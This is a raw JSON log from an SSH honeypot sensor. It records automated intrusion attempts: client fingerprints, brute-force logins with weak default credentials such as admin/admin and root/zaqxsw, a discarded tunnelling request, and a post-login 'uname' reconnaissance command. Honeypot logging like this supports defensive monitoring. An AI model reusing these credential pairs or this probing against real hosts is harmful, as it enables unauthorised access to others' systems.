fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:25.269499Z","src_ip":"87.251.64.176","session":"18b55a651f33","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:26.348222Z","src_ip":"87.251.64.176","session":"18b55a651f33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":51052,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfa93c545200","protocol":"ssh","message":"New connection: 103.77.175.15:51052 (10.17.0.5:22) [session: cfa93c545200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:26.503052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:26.507052Z","src_ip":"103.77.175.15","session":"cfa93c545200","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:26.514276Z","session":"18b55a651f33","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:26.672883Z","src_ip":"87.251.64.176","session":"18b55a651f33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:26.838585Z","src_ip":"87.251.64.176","session":"18b55a651f33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:26.843786Z","src_ip":"103.77.175.15","session":"cfa93c545200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaqxsw","message":"login attempt [root/zaqxsw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:27.631759Z","src_ip":"103.77.175.15","session":"cfa93c545200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39700,"dst_ip":"159.203.135.109","dst_port":22,"session":"21cad6753706","protocol":"ssh","message":"New connection: 83.168.110.85:39700 (159.203.135.109:22) [session: 21cad6753706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:28.680860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:28.685874Z","src_ip":"83.168.110.85","session":"21cad6753706","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:28.806298Z","src_ip":"83.168.110.85","session":"21cad6753706","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:28.888841Z","src_ip":"103.77.175.15","session":"cfa93c545200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:29.172740Z","src_ip":"83.168.110.85","session":"21cad6753706","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:30.362348Z","src_ip":"83.168.110.85","session":"21cad6753706","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47164,"dst_ip":"159.203.135.109","dst_port":22,"session":"82be406cda01","protocol":"ssh","message":"New connection: 83.168.110.85:47164 (159.203.135.109:22) [session: 82be406cda01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:39.239410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:39.244630Z","src_ip":"83.168.110.85","session":"82be406cda01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:39.371839Z","src_ip":"83.168.110.85","session":"82be406cda01","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:39.734987Z","src_ip":"83.168.110.85","session":"82be406cda01","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:40.043173Z","src_ip":"83.168.110.85","session":"82be406cda01","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:40.047225Z","src_ip":"83.168.110.85","session":"82be406cda01","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:40.172372Z","src_ip":"83.168.110.85","session":"82be406cda01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:40.178528Z","src_ip":"83.168.110.85","session":"82be406cda01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":51210,"dst_ip":"159.203.135.109","dst_port":22,"session":"e36387378d11","protocol":"ssh","message":"New connection: 152.32.171.99:51210 (159.203.135.109:22) [session: e36387378d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:44.890788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:44.897554Z","src_ip":"152.32.171.99","session":"e36387378d11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:45.112923Z","src_ip":"152.32.171.99","session":"e36387378d11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"solr123!","message":"login attempt [root/solr123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:46.007287Z","src_ip":"152.32.171.99","session":"e36387378d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:47.227025Z","src_ip":"152.32.171.99","session":"e36387378d11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39278,"dst_ip":"159.203.135.109","dst_port":22,"session":"29917153c73a","protocol":"ssh","message":"New connection: 83.168.110.85:39278 (159.203.135.109:22) [session: 29917153c73a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:49.902966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:49.911987Z","src_ip":"83.168.110.85","session":"29917153c73a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:50.032840Z","src_ip":"83.168.110.85","session":"29917153c73a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:50.399702Z","src_ip":"83.168.110.85","session":"29917153c73a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:51.553082Z","src_ip":"83.168.110.85","session":"29917153c73a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43192,"dst_ip":"159.203.135.109","dst_port":22,"session":"af419e4a5e64","protocol":"ssh","message":"New connection: 83.168.110.85:43192 (159.203.135.109:22) [session: af419e4a5e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:00.322968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:00.328315Z","src_ip":"83.168.110.85","session":"af419e4a5e64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:00.450499Z","src_ip":"83.168.110.85","session":"af419e4a5e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:00.818274Z","src_ip":"83.168.110.85","session":"af419e4a5e64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:01.951512Z","src_ip":"83.168.110.85","session":"af419e4a5e64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.209.8.82","src_port":48040,"dst_ip":"10.17.0.5","dst_port":22,"session":"c43478f0c23f","protocol":"ssh","message":"New connection: 209.209.8.82:48040 (10.17.0.5:22) [session: c43478f0c23f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:04.854101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:04.859698Z","src_ip":"209.209.8.82","session":"c43478f0c23f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:04.881992Z","src_ip":"209.209.8.82","session":"c43478f0c23f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:7c:53:03:37:69:12:0b:01:ab:4d:e0:4a:ba:ce:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0MKsvovWuwvpRE1IVlXLRKzGvnv6cHjrkwmezLlt041pORouk7mUKIEVIQ2X7XSm7V3EQ0+6Sigh2aB54CRLbBFaCmUn0oWn4n7ZSo1CAmzYZuXp7h7EDDcxzXcggoUgXCy+A8PGLW+8RjTKRctCLbiMjRjOMz5Mu2pMIxsF5+eQ6aBaAIph+Ek8QdH6lk9AIi40Xoqs8i3Jy5E2RQ9j1LzOU81/Wrsn65hqwQob6CxBHtMbYh8KYd/isaA8wD2ZO9tfHyoSXcDIm0UTqxJPQ5QW+XaLZSSualHs5eDdVl7K+A1d2iJQ8sCkVLajtggRj8g55rdCuOcsUkbBTB7C3Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:7c:53:03:37:69:12:0b:01:ab:4d:e0:4a:ba:ce:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:04.967248Z","src_ip":"209.209.8.82","session":"c43478f0c23f","protocol":"ssh"}
